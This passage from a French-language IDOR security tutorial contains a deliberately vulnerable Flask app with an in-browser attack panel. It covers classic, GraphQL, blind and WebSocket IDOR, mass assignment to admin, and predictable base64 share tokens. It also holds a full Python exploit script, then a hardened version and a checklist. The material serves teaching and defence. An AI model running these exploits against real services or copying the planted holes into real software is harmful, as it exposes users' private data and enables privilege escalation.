                <p>Modify unauthorized fields: role, balance, is_verified</p>
                <button onclick="attackMassAssignment()">Test Mass Assignment</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Blind IDOR - Document Enumeration</h4>
                <p>Enumerate all documents by trying sequential IDs</p>
                <button onclick="attackBlindIDOR()">Enumerate Documents</button>
            </div>
            
            <div class="attack-item">
                <h4>5. WebSocket IDOR</h4>
                <p>Access other users' conversations via WebSocket</p>
                <button onclick="attackWebSocketIDOR()">Test WebSocket IDOR</button>
            </div>
            
            <div class="attack-item">
                <h4>6. Predictable Tokens</h4>
                <p>Share tokens are base64(doc_id) - easily guessable</p>
                <button onclick="attackPredictableTokens()">Test Token Prediction</button>
            </div>
        </div>
    </div>
    
    <script>
        const socket = io();
        let currentToken = '';
        
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.token) {
                    currentToken = data.token;
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function getProfile() {
            const userId = document.getElementById('profile-id').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch(`/api/user/${userId}`, {
                    credentials: 'include'
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function getProfileGraphQL() {
            const userId = document.getElementById('profile-id').value;
            const output = document.getElementById('output');
            
            const query = `{
  user(id: ${userId}) {
    id
    username
    email
    role
    balance
    isVerified
    isPremium
    privateNotes
  }
}`;
            
            try {
                const response = await fetch('/graphql', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ query })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function updateProfile() {
            const data = JSON.parse(document.getElementById('update-data').value);
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/user/profile', {
                    method: 'PUT',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify(data)
                });
                
                const result = await response.json();
                output.textContent = JSON.stringify(result, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function getDocument() {
            const docId = document.getElementById('doc-id').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch(`/api/document/${docId}`, {
                    credentials: 'include'
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function enumerateDocuments() {
            const output = document.getElementById('output');
            output.textContent = 'Enumerating documents...\\n\\n';
            
            let found = [];
            
            for (let i = 1; i <= 10; i++) {
                try {
                    const response = await fetch(`/api/document/${i}`, {
                        credentials: 'include'
                    });
                    
                    if (response.status === 200) {
                        const data = await response.json();
                        found.push(`Doc ${i}: ${data.title} (Owner: ${data.owner_id})`);
                    }
                } catch (e) {}
                
                await new Promise(r => setTimeout(r, 100));
            }
            
            output.textContent += `Found ${found.length} documents:\\n`;
            output.textContent += found.join('\\n');
        }
        
        async function generateShareLink() {
            const docId = document.getElementById('share-doc-id').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/document/share', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ document_id: docId })
                });
                
                const data = await response.json();
                
                if (data.token) {
                    const link = `http://localhost:5000/api/share/${data.token}`;
                    document.getElementById('share-link').innerHTML = 
                        `<code>${link}</code>`;
                }
                
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        function loadConversation() {
            const convId = document.getElementById('conv-id').value;
            socket.emit('load_conversation', { conversation_id: parseInt(convId) });
        }
        
        socket.on('conversation_loaded', (data) => {
            const chatDiv = document.getElementById('chat-messages');
            chatDiv.textContent = JSON.stringify(data, null, 2);
        });
        
        // Attack functions
        async function attackClassicIDOR() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing Classic IDOR...\\n\\n';
            
            for (let id = 1; id <= 4; id++) {
                const response = await fetch(`/api/user/${id}`, {
                    credentials: 'include'
                });
                
                if (response.status === 200) {
                    const data = await response.json();
                    output.textContent += `User ${id}: ${data.username} - ${data.email}\\n`;
                    output.textContent += `  Private: ${data.private_notes}\\n\\n`;
                }
            }
            
            output.textContent += '[OK] IDOR EXPLOITED: All user data accessible!';
        }
        
        async function attackGraphQLIDOR() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing GraphQL IDOR...\\n\\n';
            
            const query = `{
  allUsers {
    id
    username
    email
    privateNotes
    balance
    role
  }
}`;
            
            const response = await fetch('/graphql', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                credentials: 'include',
                body: JSON.stringify({ query })
            });
            
            const data = await response.json();
            output.textContent += JSON.stringify(data, null, 2);
            output.textContent += '\\n\\n[OK] GraphQL IDOR: All users data exposed!';
        }
        
        async function attackMassAssignment() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing Mass Assignment...\\n\\n';
            
            const maliciousData = {
                email: 'hacked@example.com',
                role: 'admin',
                balance: 999999,
                is_verified: true,
                is_premium: true
            };
            
            const response = await fetch('/api/user/profile', {
                method: 'PUT',
                headers: { 'Content-Type': 'application/json' },
                credentials: 'include',
                body: JSON.stringify(maliciousData)
            });
            
            const result = await response.json();
            output.textContent += JSON.stringify(result, null, 2);
            output.textContent += '\\n\\n[OK] Mass Assignment: Escalated to admin with $999,999!';
        }
        
        async function attackBlindIDOR() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Blind IDOR Enumeration...\\n\\n';
            
            let results = {
                accessible: [],
                unauthorized: [],
                notFound: []
            };
            
            for (let id = 1; id <= 10; id++) {
                const response = await fetch(`/api/document/${id}`, {
                    credentials: 'include'
                });
                
                if (response.status === 200) {
                    const data = await response.json();
                    results.accessible.push(`${id}: ${data.title}`);
                } else if (response.status === 403) {
                    results.unauthorized.push(id);
                } else if (response.status === 404) {
                    results.notFound.push(id);
                }
                
                await new Promise(r => setTimeout(r, 50));
            }
            
            output.textContent += `Accessible: ${results.accessible.join(', ')}\\n`;
            output.textContent += `Unauthorized (exist but not mine): ${results.unauthorized.join(', ')}\\n`;
            output.textContent += `Not found: ${results.notFound.join(', ')}\\n`;
            output.textContent += '\\n[OK] Blind IDOR: Document existence revealed!';
        }
        
        async function attackWebSocketIDOR() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing WebSocket IDOR...\\n\\n';
            
            // Try all conversation IDs
            for (let convId = 1; convId <= 5; convId++) {
                socket.emit('load_conversation', { conversation_id: convId });
                await new Promise(r => setTimeout(r, 500));
            }
            
            output.textContent += 'Check chat messages panel for results\\n';
            output.textContent += '[OK] WebSocket IDOR: Accessed other users\' conversations!';
        }
        
        async function attackPredictableTokens() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing Predictable Share Tokens...\\n\\n';
            
            // Tokens are base64(doc_id) - easy to predict
            for (let docId = 1; docId <= 5; docId++) {
                const predictedToken = btoa(String(docId));
                
                const response = await fetch(`/api/share/${predictedToken}`, {
                    credentials: 'include'
                });
                
                if (response.status === 200) {
                    const data = await response.json();
                    output.textContent += `Token ${predictedToken}: ${data.title}\\n`;
                }
            }
            
            output.textContent += '\\n[OK] Predictable Tokens: All share links guessed!';
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Login
@app.route('/api/login', methods=['POST'])
def login():
    """Login basique"""
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    hashed = hashlib.sha256(password.encode()).hexdigest()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, hashed))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    # Créer session
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['role'] = user['role']
    
    # JWT token (pour démo)
    token = jwt.encode({
        'user_id': user['id'],
        'username': user['username'],
        'role': user['role']
    }, app.secret_key, algorithm='HS256')
    
    return jsonify({
        'success': True,
        'token': token,
        'user_id': user['id'],
        'username': user['username'],
        'role': user['role']
    })

# [X] ROUTE VULNÉRABLE 2 : Get User Profile (Classic IDOR)
@app.route('/api/user/<int:user_id>')
def get_user_vulnerable(user_id):
    """
    [X] IDOR CLASSIQUE : Pas de vérification d'autorisation
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] ERREUR : Retourne n'importe quel utilisateur
    cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'User not found'}), 404
    
    # [X] Expose données sensibles
    return jsonify({
        'id': user['id'],
        'username': user['username'],
        'email': user['email'],
        'role': user['role'],
        'balance': user['balance'],
        'is_verified': user['is_verified'],
        'is_premium': user['is_premium'],
        'private_notes': user['private_notes']  # [X] CRITIQUE
    })

# [X] ROUTE VULNÉRABLE 3 : GraphQL IDOR
@app.route('/graphql', methods=['POST'])
def graphql_vulnerable():
    """
    [X] GraphQL sans vérification d'autorisation
    """
    data = request.json
    query = data.get('query', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # Parser simple (très basique pour démo)
    if 'allUsers' in query:
        # [X] ERREUR CRITIQUE : Retourne TOUS les utilisateurs
        cursor.execute('SELECT * FROM users')
        users = cursor.fetchall()
        
        result = {
            'data': {
                'allUsers': [
                    {
                        'id': u['id'],
                        'username': u['username'],
                        'email': u['email'],
                        'role': u['role'],
                        'balance': u['balance'],
                        'privateNotes': u['private_notes']
                    } for u in users
                ]
            }
        }
        
        conn.close()
        return jsonify(result)
    
    elif 'user(id:' in query:
        # Extraire ID (parsing basique)
        import re
        match = re.search(r'user\(id:\s*(\d+)\)', query)
        if match:
            user_id = int(match.group(1))
            
            # [X] Pas de vérification
            cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))
            user = cursor.fetchone()
            
            if user:
                result = {
                    'data': {
                        'user': {
                            'id': user['id'],
                            'username': user['username'],
                            'email': user['email'],
                            'role': user['role'],
                            'balance': user['balance'],
                            'isVerified': bool(user['is_verified']),
                            'isPremium': bool(user['is_premium']),
                            'privateNotes': user['private_notes']
                        }
                    }
                }
                
                conn.close()
                return jsonify(result)
    
    conn.close()
    return jsonify({'error': 'Invalid query'}), 400

# [X] ROUTE VULNÉRABLE 4 : Mass Assignment
@app.route('/api/user/profile', methods=['PUT'])
def update_profile_vulnerable():
    """
    [X] MASS ASSIGNMENT : Update n'importe quel champ
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    user_id = session['user_id']
    data = request.json
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # [X] ERREUR CRITIQUE : Update tous les champs fournis
    allowed_fields = ['email', 'role', 'balance', 'is_verified', 'is_premium', 'private_notes']
    
    for key, value in data.items():
        if key in allowed_fields:
            # [X] Update sans vérification
            cursor.execute(f'''
                UPDATE users SET {key} = ? WHERE id = ?
            ''', (value, user_id))
    
    conn.commit()
    
    # Récupérer nouvelles données
    cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))
    user = dict(cursor.fetchone())
    
    conn.close()
    
    # Update session si role changé
    if 'role' in data:
        session['role'] = data['role']
    
    return jsonify({
        'success': True,
        'message': 'Profile updated',
        'user': user
    })

# [X] ROUTE VULNÉRABLE 5 : Document Access (Blind IDOR)
@app.route('/api/document/<int:doc_id>')
def get_document_vulnerable(doc_id):
    """
    [X] Blind IDOR : Messages d'erreur révèlent l'existence
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    user_id = session['user_id']
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM documents WHERE id = ?', (doc_id,))
    doc = cursor.fetchone()
    conn.close()
    
    if not doc:
        # [X] Révèle que le document n'existe pas
        return jsonify({'error': 'Document not found'}), 404
    
    if doc['owner_id'] != user_id:
        # [X] Révèle que le document existe mais pas le mien
        return jsonify({'error': 'Unauthorized'}), 403
    
    return jsonify({
        'id': doc['id'],
        'title': doc['title'],
        'content': doc['content'],
        'owner_id': doc['owner_id']
    })

# [X] ROUTE VULNÉRABLE 6 : Generate Share Token (Prévisible)
@app.route('/api/document/share', methods=['POST'])
def share_document_vulnerable():
    """
    [X] Token prévisible : base64(doc_id)
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    doc_id = data.get('document_id')
    
    # [X] Token PRÉVISIBLE
    token = base64.b64encode(str(doc_id).encode()).decode()
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    expires_at = datetime.now() + timedelta(hours=24)
    
    cursor.execute('''
        INSERT INTO share_tokens (document_id, token, created_by, expires_at)
        VALUES (?, ?, ?, ?)
    ''', (doc_id, token, session['user_id'], expires_at))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'token': token,
        'url': f'/api/share/{token}'
    })

# [X] ROUTE VULNÉRABLE 7 : Access Shared Document
@app.route('/api/share/<token>')
def access_shared_vulnerable(token):
    """
    [X] Pas de vérification propriétaire
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT d.* FROM documents d
        JOIN share_tokens st ON d.id = st.document_id
        WHERE st.token = ?
    ''', (token,))
    
    doc = cursor.fetchone()
    conn.close()
    
    if not doc:
        return jsonify({'error': 'Invalid token'}), 404
    
    # [X] Pas de vérification expiration
    return jsonify({
        'title': doc['title'],
        'content': doc['content']
    })

# [X] WebSocket IDOR
@socketio.on('load_conversation')
def handle_load_conversation(data):
    """
    [X] WebSocket sans vérification participant
    """
    conversation_id = data.get('conversation_id')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Pas de vérification que l'user est participant
    cursor.execute('''
        SELECT m.*, u.username as sender_name
        FROM messages m
        JOIN users u ON m.sender_id = u.id
        WHERE m.conversation_id = ?
        ORDER BY m.timestamp
    ''', (conversation_id,))
    
    messages = cursor.fetchall()
    conn.close()
    
    result = [
        {
            'id': m['id'],
            'sender': m['sender_name'],
            'content': m['content'],
            'timestamp': m['timestamp']
        } for m in messages
    ]
    
    emit('conversation_loaded', {'messages': result})

if __name__ == '__main__':
    print("[RAPIDE] IDOR Advanced (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples IDOR Avancés !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Classic IDOR - Sequential IDs")
    print("   2. GraphQL IDOR - Batch queries")
    print("   3. Mass Assignment - Unauthorized fields")
    print("   4. Blind IDOR - Information disclosure")
    print("   5. WebSocket IDOR - Real-time chat")
    print("   6. Predictable tokens - base64(id)")
    print("   7. No authorization checks")
    
    socketio.run(app, debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Installer dépendances :**

```bash
pip install flask flask-cors flask-socketio pyjwt
```

**2. Lancer l'application :**

```bash
python idor_advanced_vulnerable.py
```

**3. Ouvrir http://localhost:5000**

**4. Test Attack 1 - Classic IDOR :**

- Login : alice / alice123
- Profile ID : 2 (Bob)
- Cliquer "Get Profile"

**Résultat :**
```json
{
  "username": "bob",
  "email": "bob@example.com",
  "private_notes": "Bob secret diary",
  "balance": 500
}
```

**[OK] Accès aux données privées de Bob !**

---

**5. Test Attack 2 - GraphQL IDOR :**

- Cliquer "Test GraphQL IDOR"

**Résultat :**
```json
{
  "data": {
    "allUsers": [
      {
        "username": "alice",
        "privateNotes": "Alice private notes",
        "balance": 1000
      },
      {
        "username": "bob",
        "privateNotes": "Bob secret diary",
        "balance": 500
      },
      ...
    ]
  }
}
```

**[OK] TOUS les utilisateurs exposés !**

---

**6. Test Attack 3 - Mass Assignment :**

- Cliquer "Test Mass Assignment"
- Données envoyées :
```json
{
  "role": "admin",
  "balance": 999999,
  "is_verified": true
}
```

**Résultat :**
```json
{
  "success": true,
  "user": {
    "role": "admin",
    "balance": 999999,
    "is_verified": 1
  }
}
```

**[OK] Escalade de privilèges réussie !**

---

**7. Test Attack 4 - Blind IDOR :**

- Cliquer "Enumerate Documents"

**Résultat :**
```
Accessible: 1: Alice Private Doc, 2: Alice Public Doc
Unauthorized (exist but not mine): 3, 4, 5
Not found: 6, 7, 8, 9, 10
```

**[OK] Existence des documents révélée !**

---

**8. Script d'exploitation complet :**

```python
# exploit_idor_advanced.py
import requests
import json
import base64

BASE_URL = "http://localhost:5000"
session = requests.Session()

print("=" * 80)
print("IDOR ADVANCED - COMPREHENSIVE EXPLOITATION")
print("=" * 80)

# Login
print("\n[SECURISE] Logging in as Alice...")
response = session.post(f"{BASE_URL}/api/login", json={
    "username": "alice",
    "password": "alice123"
})
data = response.json()
print(f"[OK] Logged in: {data['username']}")

# Attack 1: Classic IDOR
print("\n1⃣  CLASSIC IDOR - Access All Users")
print("-" * 80)

for user_id in range(1, 5):
    response = session.get(f"{BASE_URL}/api/user/{user_id}")
    if response.status_code == 200:
        user = response.json()
        print(f"User {user_id}: {user['username']}")
        print(f"  Email: {user['email']}")
        print(f"  Private Notes: {user['private_notes']}")
        print(f"  Balance: ${user['balance']}")
        print()

# Attack 2: GraphQL IDOR
print("\n2⃣  GRAPHQL IDOR - Batch Query")
print("-" * 80)

graphql_query = {
    "query": """
    {
      allUsers {
        id
        username
        email
        privateNotes
        balance
        role
      }
    }
    """
}

response = session.post(f"{BASE_URL}/graphql", json=graphql_query)
data = response.json()

print(f"Retrieved {len(data['data']['allUsers'])} users:")
for user in data['data']['allUsers']:
    print(f"  - {user['username']}: {user['privateNotes']}")

# Attack 3: Mass Assignment
print("\n3⃣  MASS ASSIGNMENT - Privilege Escalation")
print("-" * 80)

malicious_update = {
    "email": "hacked@evil.com",
    "role": "admin",
    "balance": 999999.99,
    "is_verified": True,
    "is_premium": True
}

response = session.put(f"{BASE_URL}/api/user/profile", json=malicious_update)
result = response.json()

print("[OK] Profile updated!")
print(f"New role: {result['user']['role']}")
print(f"New balance: ${result['user']['balance']}")

# Attack 4: Blind IDOR Enumeration
print("\n4⃣  BLIND IDOR - Document Enumeration")
print("-" * 80)

documents_found = []

for doc_id in range(1, 11):
    response = session.get(f"{BASE_URL}/api/document/{doc_id}")
    
    if response.status_code == 200:
        doc = response.json()
        documents_found.append(f"{doc_id}: {doc['title']} (accessible)")
    elif response.status_code == 403:
        documents_found.append(f"{doc_id}: EXISTS but unauthorized")
    elif response.status_code == 404:
        documents_found.append(f"{doc_id}: Not found")

print("Document enumeration results:")
for doc in documents_found:
    print(f"  {doc}")

# Attack 5: Predictable Token
print("\n5⃣  PREDICTABLE TOKENS - Share Link Guessing")
print("-" * 80)

# Tokens are base64(doc_id)
for doc_id in range(1, 6):
    predicted_token = base64.b64encode(str(doc_id).encode()).decode()
    
    response = session.get(f"{BASE_URL}/api/share/{predicted_token}")
    
    if response.status_code == 200:
        doc = response.json()
        print(f"[OK] Token {predicted_token} (doc {doc_id}):")
        print(f"   Title: {doc['title']}")
        print(f"   Content: {doc['content'][:50]}...")

print("\n" + "=" * 80)
print("[ALERTE] ALL IDOR VULNERABILITIES SUCCESSFULLY EXPLOITED!")
print("=" * 80)
```

**Exécuter :**

```bash
python exploit_idor_advanced.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# idor_advanced_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
from flask_socketio import SocketIO, emit
import sqlite3
import secrets
import hashlib
from functools import wraps
import uuid

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)
CORS(app, supports_credentials=True)
socketio = SocketIO(app, cors_allowed_origins="*")

DB_FILE = 'idor_advanced_secure.db'

# [OK] Decorator pour vérifier authentification
def require_auth(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            return jsonify({'error': 'Authentication required'}), 401
        return f(*args, **kwargs)
    return decorated_function

# [OK] Decorator pour vérifier propriété ressource
def require_ownership(resource_type):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            user_id = session['user_id']
            resource_id = kwargs.get('resource_id') or kwargs.get('doc_id') or kwargs.get('user_id')
            
            # [OK] Vérifier propriété
            if resource_type == 'user':
                # [OK] User peut seulement accéder à son propre profil
                if resource_id != user_id:
                    return jsonify({'error': 'Forbidden'}), 403
            
            elif resource_type == 'document':
                # [OK] Vérifier propriétaire du document
                conn = sqlite3.connect(DB_FILE)
                conn.row_factory = sqlite3.Row
                cursor = conn.cursor()
                
                cursor.execute('''
                    SELECT owner_id FROM documents WHERE id = ?
                ''', (resource_id,))
                
                doc = cursor.fetchone()
                conn.close()
                
                if not doc or doc['owner_id'] != user_id:
                    # [OK] Message générique (pas de blind IDOR)
                    return jsonify({'error': 'Resource not found'}), 404
            
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# [OK] ROUTE SÉCURISÉE 1 : Get User Profile
@app.route('/api/user/<int:user_id>')
@require_auth
@require_ownership('user')
def get_user_secure(user_id):
    """
    [OK] SÉCURISÉ : Seulement son propre profil
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT id, username, email, balance, is_verified, is_premium
        FROM users WHERE id = ?
    ''', (user_id,))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'User not found'}), 404
    
    # [OK] Ne pas exposer private_notes
    return jsonify({
        'id': user['id'],
        'username': user['username'],
        'email': user['email'],
        'balance': user['balance'],
        'is_verified': bool(user['is_verified']),
        'is_premium': bool(user['is_premium'])
    })

# [OK] ROUTE SÉCURISÉE 2 : GraphQL avec autorisation
@app.route('/graphql', methods=['POST'])
@require_auth
def graphql_secure():
    """
    [OK] GraphQL avec vérification d'autorisation
    """
    data = request.json
    query = data.get('query', '')
    
    # [OK] Bloquer 'allUsers'
    if 'allUsers' in query:
        return jsonify({
            'errors': [{
                'message': 'Query not allowed: allUsers requires admin privileges'
            }]
        }), 403
    
    # [OK] Pour 'user', vérifier que c'est l'user courant
    if 'user(id:' in query:
        import re
        match = re.search(r'user\(id:\s*(\d+)\)', query)
        if match:
            requested_id = int(match.group(1))
            current_id = session['user_id']
            
            # [OK] Seulement son propre profil
            if requested_id != current_id:
                return jsonify({
                    'errors': [{
                        'message': 'Unauthorized: can only query your own profile'
                    }]
                }), 403
            
            conn = sqlite3.connect(DB_FILE)
            conn.row_factory = sqlite3.Row
            cursor = conn.cursor()
            
            cursor.execute('''
                SELECT id, username, email, balance, is_verified, is_premium
                FROM users WHERE id = ?
            ''', (current_id,))
            
            user = cursor.fetchone()
            conn.close()
            
            if user:
                return jsonify({
                    'data': {
                        'user': {
                            'id': user['id'],
                            'username': user['username'],
                            'email': user['email'],
                            'balance': user['balance'],
                            'isVerified': bool(user['is_verified']),
                            'isPremium': bool(user['is_premium'])
                        }
                    }
                })
    
    return jsonify({'errors': [{'message': 'Invalid query'}]}), 400

# [OK] ROUTE SÉCURISÉE 3 : Mass Assignment Protection
@app.route('/api/user/profile', methods=['PUT'])
@require_auth
def update_profile_secure():
    """
    [OK] Whitelist stricte des champs modifiables
    """
    user_id = session['user_id']
    data = request.json
    
    # [OK] Whitelist stricte (seulement champs autorisés)
    ALLOWED_FIELDS = {'email'}  # Seulement l'email modifiable
    
    updates = {}
    for key, value in data.items():
        if key in ALLOWED_FIELDS:
            updates[key] = value
    
    if not updates:
        return jsonify({'error': 'No valid fields to update'}), 400
    
    # [OK] Validation email
    if 'email' in updates:
        import re
        email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
        if not re.match(email_pattern, updates['email']):
            return jsonify({'error': 'Invalid email format'}), 400
    
    # [OK] Update sécurisé
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    for key, value in updates.items():
        cursor.execute(f'''
            UPDATE users SET {key} = ? WHERE id = ?
        ''', (value, user_id))
    
    conn.commit()
    
    # Récupérer données mises à jour
    cursor.execute('''
        SELECT id, username, email, balance
        FROM users WHERE id = ?
    ''', (user_id,))
    
    user = dict(cursor.fetchone())
    conn.close()
    
    return jsonify({
        'success': True,
        'message': 'Profile updated',
        'user': user
    })

# [OK] ROUTE SÉCURISÉE 4 : Document Access
@app.route('/api/document/<int:doc_id>')
@require_auth
@require_ownership('document')
def get_document_secure(doc_id):
    """
    [OK] Vérification propriété + message générique
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM documents WHERE id = ? AND owner_id = ?
    ''', (doc_id, session['user_id']))
    
    doc = cursor.fetchone()
    conn.close()
    
    # [OK] Message générique (pas de blind IDOR)
    if not doc:
        return jsonify({'error': 'Resource not found'}), 404
    
    return jsonify({
        'id': doc['id'],
        'title': doc['title'],
        'content': doc['content']
    })

# [OK] ROUTE SÉCURISÉE 5 : Share Token (cryptographiquement sécurisé)
@app.route('/api/document/share', methods=['POST'])
@require_auth
def share_document_secure():
    """
    [OK] Token cryptographiquement sécurisé (UUID)
    """
    data = request.json
    doc_id = data.get('document_id')
    
    # [OK] Vérifier propriété
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM documents WHERE id = ? AND owner_id = ?
    ''', (doc_id, session['user_id']))
    
    doc = cursor.fetchone()
    
    if not doc:
        conn.close()
        return jsonify({'error': 'Document not found'}), 404
    
    # [OK] Token UUID sécurisé
    token = str(uuid.uuid4())
    
    from datetime import datetime, timedelta
    expires_at = datetime.now() + timedelta(hours=24)
    
    cursor.execute('''
        INSERT INTO share_tokens (document_id, token, created_by, expires_at)
        VALUES (?, ?, ?, ?)
    ''', (doc_id, token, session['user_id'], expires_at))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'token': token,
        'expires_at': expires_at.isoformat()
    })

# [OK] WebSocket sécurisé
@socketio.on('load_conversation')
def handle_load_conversation_secure(data):
    """
    [OK] Vérification participant
    """
    if 'user_id' not in session:
        emit('error', {'message': 'Authentication required'})
        return
    
    conversation_id = data.get('conversation_id')
    user_id = session['user_id']
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] Vérifier que l'user est participant
    cursor.execute('''
        SELECT * FROM conversations
        WHERE id = ? AND (participant1_id = ? OR participant2_id = ?)
    ''', (conversation_id, user_id, user_id))
    
    conversation = cursor.fetchone()
    
    if not conversation:
        conn.close()
        emit('error', {'message': 'Conversation not found or unauthorized'})
        return
    
    # [OK] Charger messages
    cursor.execute('''
        SELECT m.*, u.username as sender_name
        FROM messages m
        JOIN users u ON m.sender_id = u.id
        WHERE m.conversation_id = ?
        ORDER BY m.timestamp
    ''', (conversation_id,))
    
    messages = cursor.fetchall()
    conn.close()
    
    result = [
        {
            'id': m['id'],
            'sender': m['sender_name'],
            'content': m['content'],
            'timestamp': m['timestamp']
        } for m in messages
    ]
    
    emit('conversation_loaded', {'messages': result})

if __name__ == '__main__':
    print("[SECURITE]  IDOR Advanced SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Decorators @require_auth + @require_ownership")
    print("   2. GraphQL queries restreintes")
    print("   3. Mass assignment whitelist stricte")
    print("   4. Messages d'erreur génériques (no blind IDOR)")
    print("   5. UUID tokens (pas prévisibles)")
    print("   6. WebSocket avec vérification participant")
    print("   7. Validation email")
    print("   8. Pas d'exposition données sensibles")
    
    socketio.run(app, debug=False, port=5001)
```

---

## [GRAPHIQUE] RÉCAPITULATIF IDOR ADVANCED

### [OK] Protections essentielles

| Protection | Efficacité | Complexité |
|-----------|-----------|-----------|
| Decorators @require_ownership | ***** | [OK] Facile |
| UUID au lieu Sequential IDs | ***** | [OK] Facile |
| Messages d'erreur génériques | ***** | [OK] Facile |
| Whitelist champs modifiables | ***** | [OK] Facile |
| GraphQL depth limiting | **** | [ATTENTION] Moyen |
| Authorization at query level | ***** | [ATTENTION] Moyen |
| Token expiration | **** | [OK] Facile |
| Rate limiting | **** | [ATTENTION] Moyen |

---

### [X] Erreurs critiques

- [X] Pas de vérification ownership
- [X] IDs séquentiels prévisibles
- [X] Messages d'erreur révélateurs (blind IDOR)
- [X] GraphQL sans restrictions
- [X] Mass assignment sans whitelist
- [X] Tokens prévisibles (base64, séquentiels)
- [X] WebSocket sans vérification
- [X] JWT avec user_id modifiable

---

### [OBJECTIF] Checklist complète

```python
[OK] Vérification ownership TOUJOURS
[OK] UUID v4 au lieu d'IDs séquentiels
[OK] Messages d'erreur génériques identiques
[OK] GraphQL: depth limiting + query complexity
[OK] GraphQL: field-level authorization
[OK] Mass assignment: whitelist stricte
[OK] Validation input (email, etc.)
[OK] Tokens cryptographiquement sécurisés
[OK] Token expiration + usage unique
[OK] WebSocket: vérifier participant
[OK] JWT: signature forte + vérification
[OK] Rate limiting sur énumération
